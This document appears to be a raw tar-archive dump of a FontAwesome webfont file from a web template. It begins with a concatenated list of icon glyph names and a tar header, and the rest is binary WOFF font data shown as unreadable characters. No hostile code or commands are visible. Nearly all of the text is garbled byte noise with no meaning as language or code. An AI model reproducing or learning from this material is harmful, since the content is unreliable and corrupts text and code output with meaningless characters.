chevron_upchevron_downretweetshopping_cartfolder_closefolder_openresize_verticalresize_horizontal	bar_charttwitter_signfacebook_signcamera_retrokeycogscommentsthumbs_up_altthumbs_down_alt	star_halfheart_emptysignoutlinkedin_signpushpinexternal_linksignintrophygithub_sign
upload_altlemonphonecheck_emptybookmark_empty
phone_signtwitterfacebookgithubunlockcredit_cardrsshddbullhornbellcertificate
hand_right	hand_lefthand_up	hand_downcircle_arrow_leftcircle_arrow_rightcircle_arrow_upcircle_arrow_downglobewrenchtasksfilter	briefcase
fullscreengrouplinkcloudbeakercutcopy
paper_clipsave
sign_blankreorderulolstrikethrough	underlinetablemagictruck	pinterestpinterest_signgoogle_plus_signgoogle_plusmoney
caret_downcaret_up
caret_leftcaret_rightcolumnssort	sort_downsort_upenvelope_altlinkedinundolegal	dashboardcomment_altcomments_altboltsitemapumbrellapaste
light_bulbexchangecloud_downloadcloud_uploaduser_mdstethoscopesuitcasebell_altcoffeefoodfile_text_altbuildinghospital	ambulancemedkitfighter_jetbeerh_signf0fedouble_angle_leftdouble_angle_rightdouble_angle_updouble_angle_down
angle_leftangle_rightangle_up
angle_downdesktoplaptoptabletmobile_phonecircle_blank
quote_leftquote_rightspinnercirclereply
github_altfolder_close_altfolder_open_alt
expand_altcollapse_altsmilefrownmehgamepadkeyboardflag_altflag_checkeredterminalcode	reply_allstar_half_emptylocation_arrowcrop	code_forkunlink_279exclamationsuperscript	subscript_283puzzle_piece
microphonemicrophone_offshieldcalendar_emptyfire_extinguisherrocketmaxcdnchevron_sign_leftchevron_sign_rightchevron_sign_upchevron_sign_downhtml5css3anchor
unlock_altbullseyeellipsis_horizontalellipsis_vertical_303	play_signticketminus_sign_altcheck_minuslevel_up
level_down
check_sign	edit_sign_312
share_signcompasscollapsecollapse_top_317eurgbpusdinrjpyrubkrwbtcfile	file_textsort_by_alphabet_329sort_by_attributessort_by_attributes_altsort_by_ordersort_by_order_alt_334_335youtube_signyoutubexing	xing_signyoutube_playdropboxstackexchange	instagramflickradnf171bitbucket_signtumblrtumblr_signlong_arrow_downlong_arrow_uplong_arrow_leftlong_arrow_rightwindowsandroidlinuxdribbleskype
foursquaretrellofemalemalegittipsun_366archivebugvkweiborenren_372stack_exchange_374arrow_circle_alt_left_376dot_circle_alt_378vimeo_square_380plus_square_o_382_383_384_385_386_387_388_389uniF1A0f1a1_392_393f1a4_395_396_397_398_399_400f1ab_402_403_404uniF1B1_406_407_408_409_410_411_412_413_414_415_416_417_418_419uniF1C0uniF1C1_422_423_424_425_426_427_428_429_430_431_432_433_434uniF1D0uniF1D1uniF1D2_438_439uniF1D5uniF1D6uniF1D7_443_444_445_446_447_448_449uniF1E0_451_452_453_454_455_456_457_458_459_460_461_462_463_464uniF1F0_466_467f1f3_469_470_471_472_473_474_475_476f1fc_478_479_480_481_482_483_484_485_486_487_488_489_490_491_492_493_494f210_496f212_498_499_500_501_502_503_504_505_506_507_508_509venus_511_512_513_514_515_516_517_518_519_520_521_522_523_524_525_526_527_528_529_530_531_532_533_534_535_536_537_538_539_540_541_542_543_544_545_546_547_548_549_550_551_552_553_554_555_556_557_558_559_560_561_562_563_564_565_566_567_568_569f260f261_572f263_574_575_576_577_578_579_580_581_582_583_584_585_586_587_588_589_590_591_592_593_594_595_596_597_598f27euniF280uniF281_602_603_604uniF285uniF286_607_608_609_610_611_612_613_614_615_616_617_618_619_620_621_622_623_624_625_626_627_628_629uniF2A0uniF2A1uniF2A2uniF2A3uniF2A4uniF2A5uniF2A6uniF2A7uniF2A8uniF2A9uniF2AAuniF2ABuniF2ACuniF2ADuniF2AEuniF2B0uniF2B1uniF2B2uniF2B3uniF2B4uniF2B5uniF2B6uniF2B7uniF2B8uniF2B9uniF2BAuniF2BBuniF2BCuniF2BDuniF2BEuniF2C0uniF2C1uniF2C2uniF2C3uniF2C4uniF2C5uniF2C6uniF2C7uniF2C8uniF2C9uniF2CAuniF2CBuniF2CCuniF2CDuniF2CEuniF2D0uniF2D1uniF2D2uniF2D3uniF2D4uniF2D5uniF2D6uniF2D7uniF2D8uniF2D9uniF2DAuniF2DBuniF2DCuniF2DDuniF2DEuniF2E0uniF2E1uniF2E2uniF2E3uniF2E4uniF2E5uniF2E6uniF2E7_698uniF2E9uniF2EAuniF2EBuniF2ECuniF2EDuniF2EE                                   =    O<0    1h                                                                                                                                                  system/helix3/assets/fonts/fontawesome-webfont.woff                                                 0000705                 00000277350 15242051520 0016603 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       wOFF    ~                          FFTM  0      kGGDEF  L        OS/2  l   >   `2z@cmap    i  
:gasp         glyf    _y LMhead b   3   6-hhea b      $
hmtx b    
Eyloca e    \maxp l       ,name m  D  㗋post o`    u       =    O<0    1hxc`d``b	`b`d`d:$Y<   xc`fdbʢbl|6F0#F n  x͒Jqgje>"D>{EO >,"u^[[[jos_M%:0g80B.Lszðפ 1YlKWvest)Mk^Zֵ֪m׉Θbk̳26>'YҖjukZۺgm2 (4-iEkЖv}XBY``c9ZJV5eY߆6G΂`3|6[uIpn-[pL0Lp;׸%8o>F8	G8`Wί"E^_=(K,FK+yb       x	TՕ0o}{uuuwUWիnnjmz-nvEEAAJ!*(hD2c%FʦEbb6$&7߹UUW7tw{98m8bI	ڃ݌7SEG!3j㔐=w;P^IA;RRnkLS.)o8G([)9O,,AtS
h
yujZupPGxNon{ho2AD-r]u5e^dMX8=r5ͻ^Q\~2V0 o0kC qA跍G<
9 v`|NXWI:"'aW޺O=}k#"7e	%Vs~-y$ŵXw&'q.n.EK#JDڝn봽7=|wL:Ӎ2vmrRv:=0P@DۓVZ7eOd7HMSY|[of'BL}ƷҗV^+{W=uҤ֦='j,|;vAo=0q8"I³8yZ6Ǵo9q<i3k1%&uk{H}@΁W^qԷ4;gg7Ny/qP O ЌL4q,ԇ"Sv=jL/UjC-woȍnj̮{j\vEkz>pn=^=ajID(෠quF;э5֮s7;QC7U[׈yZIۘػ*!$	dⵄŖ-ˇ?{mf6po~mԽwoG6Moza--m#]?]?Vkzܥܵ.>)9NH%&T/ _IAxOB]8(.v)G=HPSUP>fFE-GGs|'?~zI*R|[`-V'ݙGP3b'\RI̞#n;WٟDTѹb80^s6,rȥism15kk,}qWȝ;t seYqqC/0 q|>
3W/ըsF"sIoAHI 8Cw~@
_(]h=r9p!;H-[Ifw;%=d꯵bmH)k=o\hEi7i:-!mn:`[G]GE,;syH62ƈs՗:I@^\wOVõ<g?]Y{?qKgH[X &tdn[,Z!H6#=nݳ;OWUG4]]6ٰp7[aM5PB]?4P呂7o\!׺ߜؤ2>8/p2h@k~ھB~a[r=Pr8SescFӗ S#P|0z'zS)8aFBFE	VrJ(EfDpU\'h4P 	j<t$>d3}CvfM}Zlf,.pj1tYj2lƗ,U<:zt[%Y!1vMfrc:_n"7zwvmzuidtO.3K<yd03lLl؞Yĭ~bg#8H7JC*gY_YKin0AQPiMg-c)<9ܹJHX-owaX; <z̳@)*rw|u`lc߸m1:H2yΡؕdYנE+G ZQ
kP*.6O W=nuBdu8<74~c8(bK]4x~*x=¿1T2Gߡ}S}JXùP@z${P"h^bؙJr`R_3@|8~ v:GE8ci]5&4tَSצ	#5jQ 0즰N`v!RyS(v
]wB}J]>u=.#Cjn(,THu_Z	6qhhP4#JH%jt3M)#zzdt1Dn~9/ȋB@NV?p'rf:;bBQHb$h3CG|#v2ydm)esvw~٬fp~DG	r0^XzˣՇcl& \`\8HHa IC?6:5H;lވ4C&\FjԬ,|MCݔ/f8ܮ2	.ҍl
_/AkTVΝg~T΂<`2Q&;XAW@@gj{j,	suuE֟:A8,&ռ}|b0lFQ$px=4ddm7nru"N:Ou^x@񝂍CG*%F>Tm?2.opˮ1r\T١K+L؜cn:8qyN\Dvj[ܦDy/*=H	[0l8=`Dd&<qR}~|m?9[Y{HIFPHp;@Y[D]j}*ÞhJԆ'v^6XDLVa@XFk<N.pVeup+O;F G\Eнbkfy
zs	XkM֊PY_g#f}{ Lh.tMV((/4uX4u<k%Ņs=xfȌݐP(.(q\+i}J/[Ok<Ew{W%҂pRJ˙$["H6#] FC֫C_c|=F2[#\eyÃ.anơzK9řeNԞeUտxUwΫm>76tOd٧,崅v2+׷ TU[NHN8W|fG{ܘlT_Z1 8j`Ar㼌`h*b#ռBj0s$n^7w$Gɡ;N
.A>3;My?zpͥΙ4aqp҃GFw|]֯ !ؾbvq8e+)h.,U~4]h.P4s)+kqD2uϸuE3V⭯ҟfS8/D]5ޖ*xWGj}l&klnçiPv'6#(%)>qEo6U+6ŋ8ۢlޏ>`Mn''zB-t/ꬱ3ik3
55Z	1ao|+őm
0$YəOa1ag9up9Gת+b=H߀Q1hT]ҒQ^?s9ػ  lB|4TNYBL,g#5A㉐=!7~=/X]WuwZW避[ꞞWd==Bm®ҏ΋v?$
E#
L!7ط!TRRI4)H#l*:#H.)pӇźRMB=ƅ(ǂ͵˥>A,_2%5pyn6/Mbt,L֮l+9QGb]*D;{PZ!*U1|s{"3\gGχyG:-nQg7`ԏ3xAx%ÏUXMZ&HX9>osGa
'!lü|EW-ebbxsY06E>)VH߰}V=G~Ykh/;ۇ0{4. c\h`5
FA5Tg[4#So3yuy=<'j{	hNk6	@1c/5-T:`YX]g~ilp!e>1x06?eoAsb̪fyb3@B߂Yq?;m)h4skPUfW62c>8F(t*GC	ym
srp?ICY:ϻ&͜99TY-k%)@|FFh9*(RtKǻTXM-IP.%C"?,+ˆ=	>tUgQWw#Υ7݋[P	ޮ'j77̗9ZISO4YkDE͂B~`Ig;mu֢zSg)rE܉=mK9ZD]4~7߉R6Hۂ(ji! BldpӜ^zz拾gF:qꢝkWl/СuX2rTsBנͫڂt}}ƶ_5	k4	A;oHLϹ)z.quAzyxjk5F-@lҙcڗҗ\6=O]9/5ڔ볝\tOCT3f(i
]wPiQwγ=JߌvGޮy[[,Et&QocÂyb66kMK|֋$Yz%P(^87DrK`%5.:	Ďx=mnًm]Ю&2G(-@Q7xu3%@p~нt S]=)AGAVg;*=$mz-|_EZˢk<5U5fFIj`=H})0~F,"N6k"}ṒkT"$mZPc',ϛtzՅ];+j+NG>K#h-zp6\;yb~9.m	\=qrqü=fS
6u(؍3#0
:Nz{S M]"`R.Cr`-U{낍znq	txic+Ԛ:3Y㳙N*aVP
`1Qb@fc^X9̼ܶjtҜYӂhھ3	ijs+\8Tvi|Q<v߹c81-t\16GInJ:̇hXGr+<O|alyxuco7狿P'j{G wsʥs??kL5>4Hjv4l!,cC54{ٱ4dR~p*;9nC%d}dA4Q8iOi	TgdulUSAq$.j6U;MǶۏێۏj9JDvAFbm LOI=`jf:>IǁJ!
6Txưqn̓S9ĀM|!ґ8X)hͅͳ( ,ӌ2+lD3Qɕp$`Pt[ DV2opo%xZ)n:p4N)F ՆtT7Mu`8P*r>(O^tXi(M4!t(>hcU<@ܦç$M'(J׳Q܃<8Vjj7P?Ͼ;_!Q.h|:B)Ӓ xܘs_d9aN=.WO.\|_O&tk.".Dp53͓	6`8IuKjk/wiUSusUlr
̥;ѠMe`TB&n¦\	g2pd[0OvzI'm%4 1}@:įZ/ r@1m8_.WRlv(F5Aս~]*@Qؿ
VgM܊:MʞQZ㖵.
HfJwKIA\f7zl}5VzGƐ
u̻vߋaɰZ(S6Wz7ek[j#6[6iSڣn@d`[}i]<{bN&kG[Q`Ek$|'GOR4:	yX1dhz3TʷL-3DG%Z
b锥3I陌R^cy,3P!@ ieNq좀FS'}@4шÏ~* T(PY+=!?}>Ю+w*3Usƽ i[9a\uWeY5	+,iK\ʚe<zKC&Hdbktݩ7<Gh
fOfp+d<8YX(ϴ s>!;BTR@J	vKU8bUH^Q;Okb%[QHO9谉0r0}U>ʔV5^ܵ }ecFmۈrqLEl	"I5ڦfU2cW+O,MJ񝁧6y?*0&Nݚxq?)>e(	@qTVx>sjAi2W@W<KP
+
i4(ا	
xA̓	1Jz'O?<L0,;V|'[9;j:[BخRknC.иiޱTݝ&[h5V,RIN{oF|Tn_|QW>U{LГK^A'96&E[h8J*X>wyW+Vc*YP!3^%"`ɒRcD@2ܵG5gL6}*Xl틵\"*p9B4MzA65L.2k,0^>G@@HtyZ4iepWtAh,8<{9ȽǷƶwZOYE<Z)t#/崐\F7ʔB>(&6ldi t/=n>?& s]@Ν0Z.3Ĥ9MG6XIJHXa:C}36~>D3UO>[vZ_}סqN!ʃ
-W 
SHa)Y'lg8=`z(bwvi:2E!`;x,Y ߩ
=Іj^ǻQ^_Yy`Q[&aYQus0{&m胑*j)TC$YQ>*P}H˥_7!n?Vا(sOGRBXbG/*󨴉bE("lrʔ$ΫdJwGp6
P/#jmtCR0}Bj̣RXvI>(j=:ECtV:O[h[5"uE3W.f[eܫ8P)e
0Rԁd.ُ:~}t<)/QcOBGGp<"-G-b΢y3b#5RPCk{d˚ ح6d]LdLu鋶LCzӮIYs;A@*nyڢKˏɩEWeMâx[*u-zҗrizH>2$=_j7{!h7Ύ|pfs%9LAQ,2WH(EEug&/
$̃cm$0^(K_C]Di+/TRhOJ?Nޛ j;쁳#ISm0Q4WՏ5_fd "0ԏ ~D}R'k GK1(_/TFȤ8>Q 8m.mstÁ-`wZaxx";ͯ2o2:h*4X-hW3snP,ɞ
"ޗ`7Nw8ɐD\	(,f鄝	IM|؟նkÿl5nv xL/LM}ݻ/Еum.umd>Nh&kԵ-h#+qs}v.L8c|P=/2,T,\fxP!:*}uLvyj{C [	^܋lV͛CZk9~_+2_ʗ7%\~NVw|:$^fH-l6[DniD>=}4b=U{xCu:6ݨ18=Z%ܓ&?i*V߻"z,K=,5keb PÒ}aM)dŐ".Aǝ2AnK%
%7 ;QΤx9:J's9 :(w̿sltWN~+lAڏm[w77n\W<9-N߹ti?";iw[;LvP2zrgkcl;#E*b8*<~h!:Q@qӼek/#@wꪫ'	r*2_2mppm"Oގ:wFgRۜ{zh?U_3m3ؾ)[_./djG̨.+{7g|6w6؟>d5;{O"-<+jaW22pWagy6&BhI2%1S*[ϤF۷%nwT	QĶ!=00!dP$Oj!%l6bd [6,6`^Hfɖ3V߶[8|\MQ
lƜYxj?KO3ٲ%))JrGƼQ̼)2c"^;@Y5u!'hVGTi M9#(ן<4s{@efQ`Gy8L"KB3+fOx_c`=C@d-TOj+Jw]f1򉠦J -L[,Əvu&}z)AԫyzX߶"MWwP-蒺Mrk44LZvɎiZcKU/Nja,a!"Y<]K-{S&,-l5V(DSJZU+6UԤ)jȀMXju5xkOxkCf>v;oĂu)O[H<t_X4i+*dԒx7)lO=R|Oh\ؼERD*c R?ʇ﫯"bL+nwSBIZ^ģ|r#ReA>%rJrZNCQn?|x_B*kgYn3:B4WͤuQ.RMF2>8G3J<ZrVŗY~P9w;<+iչ+5DDhp,;ʹjfƼ=䵫9 3Ƒ,@('h:Ƌ&mTkPq8󨴱!ä.#Q{==4V#mx	_)IfC#yFNuQRPQyQu:]g*O<j,0?g`ON\Z\FkrIݝJ%QM	$%G/-S_hzt>U֧c'P fՅԭںo>x,uP^"yXdci+Y_'z6~(+q$U;{S<^xGn}ouvXt%&3`.:gA'%O0j@Ew:мjdqge<TCB=nҗCq+d)ӪLZ&ίYْbvsmk'mxl0k"ȓU\{ӲYzY.TYt|"cK:6.4LSzD&DLJa|+Qh_}eΞz_b"	P8^Џ>4c&ūY3]*tI*
r6% &A R^3$p,a2GÇ}O>W476Ոn7[YNqOecu/=cm:&4Co<}iAO6ăNYm:̲f3J"MK:Ek:e-O76;kh}x?1/\g^y}7|4q'7o^ o.Uξ& d5v 3_P MpĹVjlU	a^vqǹ܈\?虽쪰:Oob2AL29zXvQ VUq^k%@$Ǡ#o}TscFW}$yF$y^2:l4/maԽ&oL3ѤNIq!#ĺ~N>0=ٞbDAw	OhCTѡ֩FI.M[V#Œ3ze{EvceR]
ecsERn`{ahZ]'3W0vIxV[mQ8f64Sc%WrF.aR6aLv0n=,L	ZBU\ ]aJXL7e銛ǉQƀcHj\}MGޛ[X@"WdNS<+#(;<"w~omyL'DpEbY?~{{,o,RD(JbC>ܶ_dՇwffsܦk3ގ&~L	=$&Cyd"le؄ tQRʉ@*΋7JՄpC#5-Vgo!Gi4&NpOo޴խ9k'y=JS4/;٬vY3MiB<
(Yuv<9_m@|zU
_<';^;#b})Kywno%6,i7-+v(k6ic"Ym=t#WRTmR[na<j
X)GVX,gB&blц*ϸ"^(^Bk(tǒD>fʭklW޼(IdrUU5=^Dfj}-:$rp(<MzMƯ:|%7L>%\x+>wW؄	Ougq/,W:˺/Ɏ+y+&Lo)	@[@exbiu;:Ykw[50x:rsS&_Xxf[bT:7ak}Yx<5r'(>q-proɴ2HU&I-Kmhɠ\YFY`|fM0]63Bw5%#'iH(8 [*k.Etc&aNmVJQKTMbX4?#4c왓Q,<v5?J	[Js'ڛiӒӇC>䶵hMz__m27b2HC' j
,JN؋LuqMZW7'./^L^DL%S	n4:OW^of߷Rпlq{\PȖ叙y4*xBav kx@͗qY.3HQF|:rƔ9`P_SRL
6b|jAn~<DN"u0Q\ Wuާfn6oH玤N	N'S;)̓vGvejOXJUPsps<׷4}am}SjTYCheubm20~t'r3:_H7M笜YrN:1!-z\MaP}l &pq6*_UYIG~O_KU8FT{t(av"CBf_F;QnqӳB$MU*rg,^G D,IH:7FD	Jlk6c']u;&FbFiB"&͙MykUP\M]J~qZ JP$5K?1/,#	K:I)DoY:Mg!'S$M }ÊN~$Ū3wm6]r׊sO^
ll6H{RvBoLg(iZhVd˂]w!r<3H/7CyYN9Y@LceY֖Y$rz2dk`8v1gI1"0k~,c$tyh2^/sv骩m{TUM~{WÏɿmkUٹ?΅s4a:ZDg;@Vם4`gلw]x/goLvw'vڟڔyK<+<f>Ǟ~NF=ΐ7.'hٖ}t)vSK4Yԉs]kWN-ЯK`~kR-^"9BF%`%5S'$^\o;NKM#_5y<C$(V*ޖZj/IVZetMk,xC_m{ۏ\ʶk@1R+ې.臬tиl=C;x|^c&a=w99pt袋71R1@e  a<3w6Lj(
~n0KM.EaRIW1[S,9p'YPM>r֖jKgMdn7Yn NlݮmGYN̂09E&WKbK|ĸJﱵWr{ݷkQcZ\2R؛Oۡ_h]Ըy&܈V;~M/׭n߮>_[./m2A	qJ{>LM8Af]'vHTUOμŃ̚u\eAb~u:ynwݥIٸ$j[QV*b聇nEC*Z ɭEo?҃&k=t#=KTrfWQjJN^yٔQW/Oo^rrj;NM4I`0wϚ _ߜ!Iouz#3tzi
kjmfL'k
^9uDћVnǼ^߲rn_CSC "6Gi1#W0=p']@8z}Q/
F"̒&=lFwdF3v1FuDFYV'F`.bNu䡁 Vl|I׀ɷ*~)Z*!+uQvCM/vԂ.qcYs,wDiN6 YrL U߲[crcq5)V!c031;B0ތeG͝UaVNUe	(;;|d;_TA"?/}Mi	;]wt7WY㰛nNgh7EB7_RE=SxV5Psm`ržYazRat	k_F=dVٿgCj߇%T}[n.Z$Uq:ۛ*<ggnGh(U?.b=Ђ z3ek
4	v^QVJRT+N1EyD;YC+dNA݇n$9MAyhpJ=^蹭%[ҫ{\r8L^Rڠg8ޥ~ ad8U=gP'1.#l
=ΑѬzR6np~[EfnG+y|:fE˻~E׶Mʟ]f}jE3qMOϚ{d?]uU?#/;s~򹃫ؚǀK-6B'闘̵Lgcg&=G'}S唩VCIsyRCM)rd7&UC͝w4Nsca7fl]tTwݵFè4ou֍2B>#o7(J~jE(EM-P<n}enpt^^<5fͬ>3/rQQ@Wヌ(QUm)!sG7ꜜZ4	Ulڟpd:Cce's2E;u*'$]"c4}vzyDzɨn4bTF.b4R#P*~6tjtŋdۥy1W!ןD}glْW_A4R/u|]P	Ǯ~:t[94{-.ǀyA0 x6-NMvM$c50ghQ6 1BnW_us;BEg}\"\aQ=#ͧվv1ŊSY(R.i[9JdQӜ<0@BNya)j0Vh2쬄sO eP5>I~1! -A8agjNq^76e/쾇ݳRuԢZ&UEJlpYo<2"_:979f阎 .!hI4RkCjGBu+btQPu/А1TZ5V:+zp8jy\ST!zru8Y۸$ՅFuFYTj
+[kj`GŦ+yl֦Y닍4R,+h")=U>yV˕!V]Z8G_
jWpH ֬Q6P8=wQ9]W809{z$5p+҃D%ꔒ-R`5CbJihEI@xQ@-Jhnא!7#םY
ѣX2MnƔi&#ix2nB~#}2n)Ͱ.woB(Yk"5nGPTF;NQ@(奣$%l7Q?lRPfB!wҤJƝaîGٍ J vKgWOӬL_$ta[!i&M>JLBfR%ۣ6!o"$,J{l2"Qo#BQ'!"#H:.	o	<9*a$
<1ʔ/-
᪠(J&$
f^oћ<on!AEfl 5
H<o!ͭ(pNtH¼բ.a.&3!"I:LfsZ0A:A REEb"`\`qbѦӻEAlrZg0_
X0JX	Щ91"BN,bqH/bI2&06IMU%U	lI:DY%YKxíAЛtPG$Lx70lĤ'vluۏx!"Io#ENF.`EbUo˘'\y~ّ$(dF nd3HazI+F#&zh$Ygu.Xlb%N[/*W8 BV0f^@`^y'/Tz:hM#$<EH,0Aoa,0(i"!1_E63;xMrXvuaQ2C_yY#"/輘XHp#9x1@1@ 
6	Z m݆Q D/.T;O |`1e7J:^G	:^&#aA$è
:dz +a(~dD[iFXVX DXF':Cqsjӎpq2E5!K(KWk̙gط(hP+R^Q-O˻h@&lo%<xj/ޅG6R-V|lhtiL`xlhY9U~S㨆ӵ(`*J|u(xn\T"KL?gKl/jP[ &crnl*oEŅu̬۝dUFW5\1vC@4Pb|Me^I]%S!W}`*_U<(cnu/Xxhw
)k0T$׻Z3
^^v1eFg'PJAR#F,+EY@'CK_}B}~:@ŏݏ. g2K.LKZy,ߍ6:&5 Fsn-Ț\%۹Idn
[ɸ@i5]iv$tW3L\	C^\L>}6,+7
g2.;H\Ұf,-JǒEw\Bwjǎ>fM..klDj.Xv}mW\:5֔jKضV3BS$l&ijDYdIO~q!rW )\3H.iT2R
˔D'i>- (*Qoc$`g#Aꆘ0ߨn7.>x;w,yc?Ơ 36I61q	($,ǋwܴtr(yh2l{s\p@5H?]JHʽ<lnh'1PmϣSo7i$½݇a͙~}Z}gP$6MhM_:~z{dZKe:s/޵bR+ʤm.F_-mAELǭs;;\激q9:L0hֳoȰhmS!SbfD"N ((YqG"Č;Ck%mDD͙mvKa5:p5<pFi͢=Oӛw4->gIhhh{ ef
zUs|+DWxst-}" <;p>#?X;$}upȖow/&ν'dޒM-3g֛떤$yIEuR
;5ItБf<n;u->b{ g-:6ާ>k0ڹQs.A,1xBU\tBBA=
)~3.{ҍPa~OBP:sQS=:Uf s1KɗM
@PsygQ')_@\l`|N16fpp3,Y,wZ1~טOnoy'ǗlfCW?Ot=Kz
(UQCdPn.<=y]Sd2KZu{d^&P^	qhEAakFQ7><~̈^=QbyAsX Gr9Aժ`	ΕMʆ돱,,)4KݑYZ?0Jd\;|h~ki?ev宰Kv2)i9Jcj~Uivo	V޴ʍX~eCkˆƆKڰZn߹ZXkon퀭:h7ΤG+Ș}I]Sfn"u!`*ئ(E3	MN4jnRXMGs/MtbRS{i+-v	aJu3Z/WS9ZK]>Ɵյ68N^~i>v$$&x;ό/nTu_pdR7#ƌ]Kqk^:J1)Ǥ5$2;ʗ$X[Z(ޜhJ7*%2E叙#zg{hLK,M#ǤOkdւnnVZĦپ[ȷkV%ʂ:@S>Զ}S~.vm[kl&żVLsHuvM[2/z9ն.S<#y\6 nGfmȬ@xʃEӻeiwXDv[#:bL_hkm[-NٌEZ~emM%Y뛮% Zbth%:9}6xn.^%,uXF>.1^x oUQO7}\1B,53V̒ׄ'Ōzw67Oi6o_rUqp,1qOi#*n;6F(Ny'+ܣcTq<eLA"qe޲SqxLPQWQWyhBfM([vL#ۛ Q};Ε˒-$glYo+s8qNer:@Bp &*АBy	RZhMKy-Gۗ̮!>333~xh4[ A=,Oc⋢rx{+=.zfGA=SMϒk߉kѥ1|ug<Dk~>\==j=$rR3,xٰU`B!"LQ Jc@({˯F/43ibM6A>A 0Z( 	zcdIQ& Z+8LTW& aQ<a"*FS)1^T}uМ5`-q'6nh־ڻO׬%3<h%rܿe	:b
VYzlN]6p/oyiOc5xrM{>_ؾv5>9Xruʓ3r0rdet|¶Ld_*5hct,g}￼Wi\<csp=iv6l۽N8E߹ٿ}aq̈́s+WߚDٶD^؉>[DPjq\j3th d[)7rhUW]jiK97
X|/>g],pK4YW_ځ/&-.S0+0:AH4bc7o|~۶FyWub^yV{1o8S8#(緥~w޹jҢ6ĉ"h0PT	u) $`]+E:Eq؎W7jD-7(3uŲ{Ql`Y$OCoɊ= ;h>E3g^tPeNB* ʘ!x%	֙Y}IK %epH	ZR́H+!)ʵ	*	1B1ˬB`> &)ç	&
),~)|H}ؚ"odA[aO:)禓GwLr(yļCgQ#[UN84~c!yzݰҔZ3;zss.FMؾ1FSI`A	4QByE軼a "OiPSbnByḰXKG`SVЍC/|WM߫ʪkjv!:|uQ(UϜe׷]N#h<;vU{}fjH%X&?	Vu~V~j6A'MYvM!GP۹re紳 Dk/s)kq8vI8#xG,c?;_?!syٯ3ηw>w`||tuP~IhhnE/&jy+ٸuTS6ooOoh-Np8ޗU2$u]v$0$c߂ST6hBڭw.ci[ҙ-:g <F=*ǫT9 r%@+2u!tޮՒ2#ލnA7AYQȺUax(Ę[6b8{`.92q+vK$	2+p*~MrVs\IΤ_!j)pjf]_^șPG>*Khq{FA
lW?} 'MR~<3.([v<QHPCc
}Ibr`\~`8{;N\wYuI-U'Ny]9
Kp;+I^^V۳dv9!Ns߁_倻l1p~G pF#::ԅ[	H˯쀿":s-@w;1n3+U&97ϳJ:Wja3,)a> 'Tgx4JA]ԧ?21:yAc4Qd8`b4Dlu*l.]&' NY	?_EJOG#yn	^TA/UB
{dȎU}xX1r_i}~8b*=^]W*s->KdfgQU(s,ZeM\]2)1
$l!?OnG'o~P]h꙾V'E6Fo/q+Zjz*S`OƁ| MUa{o03g}(骪5J8+5OOWU$#+Z	J,2Yin>ŖXp'E!4l񺻜i	S(߁TR_ʠ̈́$^ŊMOwޯ,cӊф惞\I`T)&IX3W
Sv$Fݸ{e1fHțaw(Q \9u\Ox7NЍ%hۑ\WTT۪˻UmʂjrS-kU-nE*+g]4u,}뮻mfmsMX9UuuUNGQ>+UUG7O(YA!9ې#I%y\gf</Z-HLHP&OEZ:3.&0B}H`n(.Y2,L~]Dax Q`2:6_u>6)+{?DC<Ukmb~c|T`ᾮ&
>E7"B1;/ ʤA$vBfYtجG_))P@	p7: z3hfa2:v(^&m胍ɛ7Mi(&+;vv& 1S	{\ر%W[7mnYm}5qoqQˊc^nBq]dZCG6\i9I/`b}ޥ75!parHٰ)
|\n@s؇Ӂfs޿jZV+m#~xd	Iq|Y;$`kG^i[يFTX*QlN+xDՑ-ML[J ϧ},i.F,2"BGщ0~IeOÖ[咛o}Ta>ľ/oz>E}ʋ`vz%5QlҥH++l6gSÔ|Bh8ڱt}C_Ꮐ֣*=d[M{WJfw.a44Do*VVA8sP-Ҟ}A"@"Ȥt0+||E4NŁݓ1	9)*YѶQoP@	J2::b?2Hϴ3Y_nx[b¼Y1-Mҧi.#?<eng_+w,1?Q`tt@܁
w|3OQozi/#@ :ۨDl#ww
khiSyIM@$IgQC3I/IүRОc}>\!Бck3Fʷ׌8'חed($lٷYS  hC:Sli,ɯ䝂<d)r$SIbT^Kp+Vu	iA>Fi$柌tn_=PpT;(3V{ID{iEZLIsҢc"3[*8#^NG# c`4cCf4q&E:r@B$=DMRI'04	'yP^?RxS^3Ԡ j"!psmhg8G41$G>LxNy8.'RԇG@"LC8S1I.uߣBG ?>sj6خ0FƆ{17qDXSJRʳR%FL!sM(~l^0av$.XV]Υt:Jt1"GЏeC7aR.#*fE|[rX\pM[\c3`Z*؇qfPW3f!u61SJrmoXQN[1c_.ʁ6a<K#QGRs7gc7P߀sޝtos02zr{V{n͕{6>]yTЊX(|'׵h%" ׫{i`./Md!]Ђ[xC9w<XcpKC abP#lmПur8/^W`Mfs(=TA{r\X݃f?8:4gd<Pm#4Vo-Y@PVp	׆91JȺCF?!i&0 I SHHo
7A?U'SC]
74OzC$=*EL@1NfYoȒ:4#}n,uN\}Zagi~@Sd&l'Yp}@&:y0o)@}HUqSsG|@S
$qOsI#KHOsYdY/R&5@ѩFfk.`G뺦Ÿ~%0iB7}y1_wlﾥq_MRuŐpt{JHE2#f,tD%Q}:0Z`1
bW6K+bdfe+7rJLZ+S!}wP3wi-V6uo+6]`Wdd)PL  #,{yi*+ӕђ	g,cʺ9^V'0Y2 [g?)M~09?821^:3y+|W#ܻoط{^GǼ?]M=pKW
BK捋fljh9i\	ȜEΚΙvÿ+~긇}$93&E4 ɹDRu$c<a!;ĂȂ!ŕ1/嗋Xv`tKeK@H2؅Ѐ86TjLeˍ4T,	.7:́bx*GASt=I,"G^HPuePCnA	GWfD#OR~^e*\NYLW|i=<ѵhώ~<hoBttU]Ns5xO|2lm6hݎ]7;S.iZU\W9?[ڜUjurl!.D߄ID1
'GW<QfB*1S8)Z:!
)QH
IZu#vRoo 5\GzxdT f17eEX\9ZAmvP{ǈ	t8/Ҩ9ӥ%}	{_<`F=2!1ʔۢn|o	v&FH/~_:$nQ$ǟ%~:٩2j2Al 0lZ3qєɢGĉk&bi[cu<~xsEU@}MtnZ401ySZ&l^}o_l
Evk`oMM`7-҈lXdm)\ԨHAqj+o	ƥM,ZqO,eT-5ڂC$(*9lR:jj:+=ҟFk*WEpIk Yj.8J
:S5G^МFm.䜼CcT@%kKH.!%
ud)kAAT1x7*\ypg*5UftL1ńZmIj42`WYcD1_-Dw|㟥lS24B a"
ORz#2(Klqh\X*I_-4V.7&޹kxp1*{cGI	0ݻqMeO>Yc
O*EuDmO[,	f<a#$K0w >s	6WX6b%֢Bۇߕ"l?YkZ &|l!\I8|`&11P/IK)){@'ZYhv&g
